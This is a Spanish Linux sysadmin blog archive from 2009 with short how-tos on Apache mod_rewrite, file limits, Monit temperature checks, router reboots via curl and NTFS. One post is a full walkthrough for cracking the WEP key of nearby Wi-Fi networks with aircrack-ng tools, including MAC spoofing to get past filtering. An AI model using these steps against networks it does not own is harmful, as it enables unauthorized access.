Archive for the ‘Uncategorized’ Category

h1

Activar módulo rewrite en Apache / Error «auth/login was not found on this server»

08/09/2009

Al ejecutar una aplicación php en un Apache, puede suceder el siguiente error:

The requested URL /var/www/aplicacion1/mysite/public/index.php/auth/login was not found on this server.

Esto probablemente se deba a una directiva especificada en el archivo .htaccess, que solicita al servidor web un determinado comportamiento.

RewriteEngine on
RewriteCond %{REQUEST_URI} !/public/.*
RewriteCond %{REQUEST_URI} !/images/.*
RewriteCond %{REQUEST_URI} !/layout/.*
RewriteRule .* index.php
php_flag magic_quotes_gpc off
php_flag register_globals off
php_value max_execution_time 120

Generalmente el problema es debido a la ausencia del módulo rewrite en la configuración de Apache. Para ello es necesario realizar tres pasos:

1º) Activar el módulo rewrite en Apache2.

ubuntu@ubuntu:/$ sudo a2enmod rewrite
Enabling module rewrite.
Run '/etc/init.d/apache2 restart' to activate new configuration!

2º) Modificar la configuración de Apache para indicar a qué sites alojados debe aplicarse el módulo «rewrite», sustituyendo «AllowOverride none» por AllowOverride All«.
ubuntu@ubuntu:/$ sudo nano /etc/apache2/sites-enabled/000-default

<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/
<Directory />
Options FollowSymLinks
AllowOverride All
</Directory>
(…)

Realizar este cambio por tanto en las entradas en las que se quiera aplicar el módulo rewrite, generalmente en todas.

3º) Reiniciar Apache

root@ubuntu:/etc/apache2/sites-enabled# /etc/init.d/apache2 restart
* Restarting web server htcacheclean                                                                                                               ...not running
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
[ OK ]

Y de esta manera se consigue activar y configurar el módulo mod_rewrite en Apache2.

h1

error «Too many open files»

17/07/2009

Si en una aplicación (aMule por ejemplo, o algunas bases de datos como Oracle) se produce este error:

ERROR salvando archivo part: Failed to open part.met file (681.part.met ==> Fotos.tar.gz)
2009-07-16 14:14:05: Error: can't open file '/home/carlos/temporales_amule/489.part.met' (error 24: Too many open files)
2009-07-16 14:14:05: CFile: Error when opening file (/home/carlos/temporales_amule/489.part.met): Too many open files

éste es debido a la apertura simultánea de más descriptores de fichero de los permitidos por el sistema operativo. Se puede ver facilmente con el siguiente comando:

carlos@shirley:~$ ulimit -a
core file size (blocks, -c) 0
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 20
file size (blocks, -f) unlimited
pending signals (-i) 16382
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) unlimited
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited

Para ello, o se corrige la aplicación para que no abra tantos ficheros al mismo o se cambia la configuración del sistema operativo para aumentar el límite. En este último caso, en GNU/Linux Kubuntu sería editando el fichero /etc/security/limits.conf

carlos@WhenIGrowUp:~$ sudo nano /etc/security/limits.conf
[sudo] password for carlos:

Añadir al final del fichero las siguientes lineas:

[...]
carlos soft nofile 30000
carlos hard nofile 30000

[...]

Sustituyendo logicamente «carlos» por el nombre del usuario que ejecuta la aplicación. Puede ser necesario reiniciar la sesión de ese usuario. Para comprobar que el cambio se ha aplicado correctamente, ejecutar el comando ulimit de nuevo:

carlos@shirley:~$ ulimit -a
core file size (blocks, -c) 0
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 20
file size (blocks, -f) unlimited
pending signals (-i) 16382
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
open files (-n) 30000
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) unlimited
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited

h1

Error librerías en K/Ubuntu AMD64 – getlibs y planner

17/07/2009

Trabajando desde una plataforma de 64bits es habitual que algunas librerías no hayan sido portadas a esta arquitectura, produciendo errores similares al siguiente:

carlos@WhenIGrowUp:~$ planner
planner: error while loading shared libraries: libgailutil.so.18: cannot open shared object file: No such file or directory

Para ello existe una utilidad, que aun no está en los repositorios de Ubuntu ó Debian, llamada GetLibs. Con ella se pueden obtener las librerías necesarias para una aplicación que no funcione debido a este problema.

Descarga e instalación
carlos@WhenIGrowUp:~$ wget http://www.boundlesssupremacy.com/Cappy/getlibs/getlibs-all.deb
carlos@WhenIGrowUp:~$ sudo dpkg -i getlibs-all.deb

Solución:
carlos@WhenIGrowUp:~$ getlibs /usr/bin/planner
libgailutil.so.18: libgail18
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias
Leyendo la información de estado... Hecho
Se instalarán los siguientes paquetes NUEVOS:
libgail18
0 actualizados, 1 se instalarán, 0 para eliminar y 32 no actualizados.
Necesito descargar 30,3kB de archivos.
Se utilizarán 1368kB de espacio de disco adicional después de desempaquetar.
Des:1 http://archive.ubuntu.com hardy/main libgail18 1.22.1-0ubuntu1 [30,3kB]
Descargados 30,3kB en 0s (101kB/s)
Seleccionando el paquete libgail18 previamente no seleccionado.
(Leyendo la base de datos ...
147395 ficheros y directorios instalados actualmente.)
Desempaquetando libgail18 (de .../libgail18_1.22.1-0ubuntu1_amd64.deb) ...
Configurando libgail18 (1.22.1-0ubuntu1) ...
Processing triggers for libc6 ...
ldconfig deferred processing now taking place

carlos@WhenIGrowUp:~$ planner

h1

email con asunto «Hacker Attack!!!»

17/07/2009

Si se recibe un correo similar al siguiente:

de    test <cgacimartin@midominio.es>
para    cgacimartin@midominio.es
fecha    15 de julio de 2009 02:25
asunto   Hacker Attack!!!

y no se deduce de donde proviene, tras chequear las cabeceras del propio correo se puede intuir la sede desde donde se envía, pero además es conveniente considerar que sea proveniente de un router Linksys AG241V2, el cual alerta de un escaneo de la IP pública o intento agresivo de obtener información sobre el mismo.

Para desactivarlo es necesario entrar en la página de administración del router, Administrations > Reporting y cambiar el umbral o threshold a 80, o directamente desactivar el envío de alertas.

email.hacker.atack

h1

Howto monit temperature with Monit/Mmonit (Cómo monitorizar temperatura con Monit/Mmonit)

04/07/2009

In this article i will develop a plugin for mmonit for monitoring the CPU temperature and send alerts (emails) if it detects problems. Althought it seems to have a lot of steps, in 3 minutes you can get it up and running:

1º) Install the Linux package temperature.
After this, running «sensors» will show the temperature:

carlos@WhenIGrowUp:~$ sensors
k8temp-pci-00c3
Adapter: PCI adapter
Core0 Temp: -49.0°C
Core1 Temp: +56.0°C
M/B Temp: +55.0°C (low = -1.0°C, high = +127.0°C) sensor = thermistor
CPU Temp: +45.0°C (low = -1.0°C, high = +127.0°C) sensor = thermistor
Temp3: -128.0°C (low = -1.0°C, high = +127.0°C) sensor = disabled

2º) Download, check and install this script in your crontab.
This script will check the temperature, write it in the file /tmp/tempFile and, as Monit can’t read content of files, set the permissions as the following:

if temp is OK, /tmp/tempFile permissions will be 700
if it is a warning temp, /tmp/tempFile permissions will be 710
If it is a danger temp, /tmp/tempFile permissions will be 712

Later, Monit will check the permissions of this file, so it will know if the system is in trouble.

Run the script to test it:
carlos@shirley:~/hardware$ ./monit.temperature.sh
Temperature is: 45
Temp OK

Throubleshooting: if you get no result,
carlos@shirley:~/hardware$ ./monit.temperature.sh
Temperature is:
Temp OK
edit the script and change CPU with the name of the line with the info (delete «temp3» and write «CPU» i.e) where you can see the temperature runnning «sensors»:
carlos@shirley:~/hardware$ nano monit.temperature.sh
temp=$(sensors | grep temp3) <-- Replace temp3 with CPU or a string of the output "sensors".

Now, install it in your crontab to be executed every minute:
# crontab -e
* * * * * /home/carlos/monit.temperature.sh

3º) Install and run Monit (not Mmonit, his commercial brother). Monit is GNU. Here you can see a quick guide.
Monit is an utility for monitoring systems (HD, processes, resources, connectivity, networks…), sending alerts and taking actions . Install it:

# sudo apt-get install monit
(or download last version here)

4º) Add these lines to /etc/monit/monitrc
# sudo nano /etc/monit/monitrc
[...]
check file TemperatureOK with path /tmp/tempFile
if failed permission 700 then alert
check file warningTemperature with path /tmp/tempFile
if failed permission 710 then alert
check file dangerTemperature with path /tmp/tempFile
if failed permission 712 then alert
[...]

for checking the correct syntax of Monit’s control file, run:
# sudo monit -tc /etc/monit/monitrc
Control file syntax OK

And restart it
# sudo /etc/init.d/monit restart

5º) Check Monit’s web interface, you will get something like this:
http://172.26.0.1:2812 (default: admin // monit)
monit.temperature.example

h1

Como reiniciar Comtrend con firmware Poligon desde consola en GNU/Linux

01/07/2009

Para reiniciar este router con firmware Poligon desde consola es necesario Curl:

carlos@WhenIGrowUp:~$ sudo apt-get install curl
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias
Leyendo la información de estado... Hecho
Se instalarán los siguientes paquetes NUEVOS:
curl
0 actualizados, 1 se instalarán, 0 para eliminar y 2 no actualizados.
Se necesita descargar 0B/198kB de archivos.
Se utilizarán 315kB de espacio de disco adicional después de desempaquetar.
Seleccionando el paquete curl previamente no seleccionado.
(Leyendo la base de datos ...
145189 ficheros y directorios instalados actualmente.)
Desempaquetando curl (de .../curl_7.18.0-1ubuntu2.1_amd64.deb) ...
Configurando curl (7.18.0-1ubuntu2.1) ...

y ejecutar la siguiente línea con los parámetros (usuario, clave e IP adaptados al router propio):

carlos@WhenIGrowUp:~$ curl -u admin:1234 http://172.26.0.1/rebootinfo.cgi
[...]
Reiniciando el Router
El Router ha sido configurado y se esta reiniciando.
Cierre la ventana de configuracion y espere 60 segundos antes de abrirla nuevamente. Si es necesario reconfigure la direccion IP de su tarjeta de red para que coincida con su nueva configuracion.
[...]

Posteriormente, si se desea programar un reinicio periódico, se puede incluir esta línea en el cron de cualquier equipo con GNU/Linux y curl que esté conectado al router.

h1

Error «Caracter multibyte amplio inválido ó incompleto»

30/06/2009

Si al hacer una operación de escritura en una partición NTFS se produce el siguiente error:

cp: no se puede efectuar `stat' sobre «//mnt/dvd/Monta\361a.avi»: Caracter multibyte amplio inválido ó incompleto

Se soluciona montando la unidad especificando unas locales compatibles con los caracteres conflictivos:

# sudo mount -t ntfs /dev/sdb1 /mnt/ -o locale=es_ES.utf8

h1

Como obtener contraseñas de redes inalámbricas protegidas con WEP

27/06/2009

Mediante una distribución como Wifislax y una tarjeta wifi como la Alfa Networks AWUS036H (con soporte para la inyección de paquetes), se puede obtener facilmente la contraseña de la mayoría de redes wifi. Para ello, se realiza un ataque en el que se constantemente se intenta autenticar contra el AP, de modo que en cada reto enviado se obtiene información de la clave. Cuando se dispone de suficiente información, se procede a analizarla para probar una clave que encaje con todos los paquetes capturados. Para ello es necesario seguir los siguientes pasos como usuario root:

0º) Si se utiliza Wifislax en arranque USB [ con un Asus EEE ] y [ con una tarjeta Alfa Networks AWUS036H ] es necesario añadir en las opciones de arranque (fase elección de kernel) el parámetro «nohotplug«.

1º) Arrancar el sistema e instalar la tarjeta:
# rmmod rtl8187
# modprobe r8187
# iwconfig wlan0 mode Monitor

Siendo este último paso opcional, ya que airodump-ng lo hará automaticamente en el siguiente paso.

2º) Escanear el espectro wifi en búsqueda de la red a descifrar.
# airodump-ng wlan0

Es conveniente elegir una red con un valor alto de «PWR» (Power, cobertura) para facilitar la transmisión de paquetes o con alto nivel de «beacons», así como el tipo de cifrado WEP (columna ENC).

3º) Iniciar la grabación, ejecutando airodump-ng y pasándole los parámetros obtenidos en el anterior paso:
# airodump-ng -c CANAL -w FICHERO_CAPTURA --bssid MAC_DEL_AP wlan0

Y se deja esta terminal activa grabando tráfico.

4º) Vincular la estación al AP:
# aireplay-ng -1 0 -a MAC_DEL_AP -h MAC_PROPIA_SI_SE_HA_CAMBIADO -e ESSID wlan0
No source MAC (-h) specified. Using the device MAC (00:C0:CA:00:11:22)
22:47:17 Waiting for beacon frame (BSSID: 00:12:3A:00:00:00) on channel 12
22:47:18 Sending Authentication Request (Open System)
22:47:18 Authentication successful
22:47:18 Sending Association Request [ACK]
22:47:18 Association successful :-) (AID: 1)

5º) Realizar el ataque de repetición de vectores de inicialización:
# aireplay-ng -3 -b MAC_DEL_AP -h MAC_PROPIA_SI_SE_HA_CAMBIADO wlan0
No source MAC (-h) specified. Using the device MAC (00:C0:CA:00:11:22)
22:47:46 Waiting for beacon frame (BSSID: 00:12:3A:00:00:00) on channel 12
Saving ARP requests in replay_arp-0627-224746.cap
You should also start airodump-ng to capture replies.
Read 3 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
(...)
Read 55092 packets (got 2 ARP requests and 2 ACKs), sent 4 packets...(546 pps)
(...)
Read 322692 packets (got 91802 ARP requests and 171137 ACKs), sent 159710 packets...(500 pps)

Es un proceso que durará varios minutos, dejar el terminal abierto y pasar al siguiente punto

6º) Volver a la terminal del punto 3º y observar el campo «data»: a los 10 ó 15 minutos se debe notar un incremento rápido y continuo del valor. Así mismo, si es posible acercarse al AP de modo que mejore la cobertura, se ganará tiempo. Cuando se tenga en el campo data «50.000» o más paquetes, se puede parar el proceso.

7º) Ejecutar aircrack:
# aircrack-ng -s FICHERO_CAPTURA.cap

Notas:
– Es conveniente utilizar las últimas versiones de las aplicaciones propuestas, especialmente en el caso de aircrack-ng donde el tiempo de cálculo para descifrar una clave mejora notablemente.
– Si se desea, se puede cambiar temporalmente la MAC de la tarjeta de red propia antes de comenzar toda la auditoría con el siguiente comando:
# macchanger --mac 00:11:22:33:44:55 wlan0
– Algunos APs tienen filtrado por MAC, lo cual hace más difícil este tipo de ataque. Conviene cambiar la MAC propia por la de una estación vinculada a él, si existe (visible mediante airodump-ng en la parte inferior si hay estaciones vinculadas).
– El paso 6º y 7º se pueden solapar para ganar tiempo. Tan solo es necesario hacer una copia del archivo de captura y ejecutar sobre ella aircrack-ng. Si no se obtienen resultados, en el tiempo en el que se ha realizado el cómputo el fichero origen de captura se habrá incrementado, con lo cual se tendrán más posibilidades:
# cp captura.cap temp.cap
# aircrack-ng temp.cap

No es conveniente ejecutar aircrack-ng sobre el fichero de captura directamente si éste todavía se está modificando.

h1

Como juntar varios capturas de tráfico en un fichero

26/06/2009

Para juntar varias capturas de tráfico, proceso habitualmente util en las capturas tomadas con airodump-ng, aunque también es aplicable a wireshark / ethereal, ó tcpdump por ejemplo), en GNU/Linux se puede utilizar la utilidad «mergecap«:

# mergecap -w salida.cap fichero1.cap fichero2.cap fichero3.cap
ó
# mergecap -w resultado/salida2.cap *.cap

Es una utilidad incluida en el paquete de Wireshark.

h1

Como formatear una partición en NTFS desde Linux

18/06/2009

A veces esnecesario formatear una partición en FAT32 o NTFS desde Linux (HD multimedia, dispositivos móviles que solo soportan FAT32, etc). En el caso de NTFS, es tal sencillo como descargar la utilidad mkfs.ntfs y utilizarla con la misma normalidad que mkfs.ext:

Descarga e instalación:
carlos@WhenIGrowUp:/$ sudo apt-get install ntfsprogs
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias
Leyendo la información de estado... Hecho
Se instalarán los siguientes paquetes extras:
libntfs10
Se instalarán los siguientes paquetes NUEVOS:
libntfs10 ntfsprogs
0 actualizados, 2 se instalarán, 0 para eliminar y 0 no actualizados.
Necesito descargar 383kB de archivos.
Se utilizarán 942kB de espacio de disco adicional después de desempaquetar.
¿Desea continuar [S/n]?
Des:1 http://archive.ubuntu.com hardy/main libntfs10 2.0.0-1ubuntu2 [114kB]
Des:2 http://archive.ubuntu.com hardy/main ntfsprogs 2.0.0-1ubuntu2 [268kB]
Descargados 383kB en 1s (335kB/s)
Seleccionando el paquete libntfs10 previamente no seleccionado.
(Leyendo la base de datos ...
145091 ficheros y directorios instalados actualmente.)
Desempaquetando libntfs10 (de .../libntfs10_2.0.0-1ubuntu2_amd64.deb) ...
Seleccionando el paquete ntfsprogs previamente no seleccionado.
Desempaquetando ntfsprogs (de .../ntfsprogs_2.0.0-1ubuntu2_amd64.deb) ...
Configurando libntfs10 (2.0.0-1ubuntu2) ...
Configurando ntfsprogs (2.0.0-1ubuntu2) ...
Processing triggers for libc6 ...
ldconfig deferred processing now taking place

Formateo:
carlos@WhenIGrowUp:~# mkfs.ntfs /dev/sdb1
Cluster size has been automatically set to 4096 bytes.
100% - Done.
Creating NTFS volume structures.
mkntfs completed successfully. Have a nice day.

y listo, ya se puede utilizar:
carlos@WhenIGrowUp:~# mount /dev/sdb1 /mnt/

Recordar que si se desea su montaje automático en el arranque del sistema hay que incluirlo en el fichero /etc/fstab .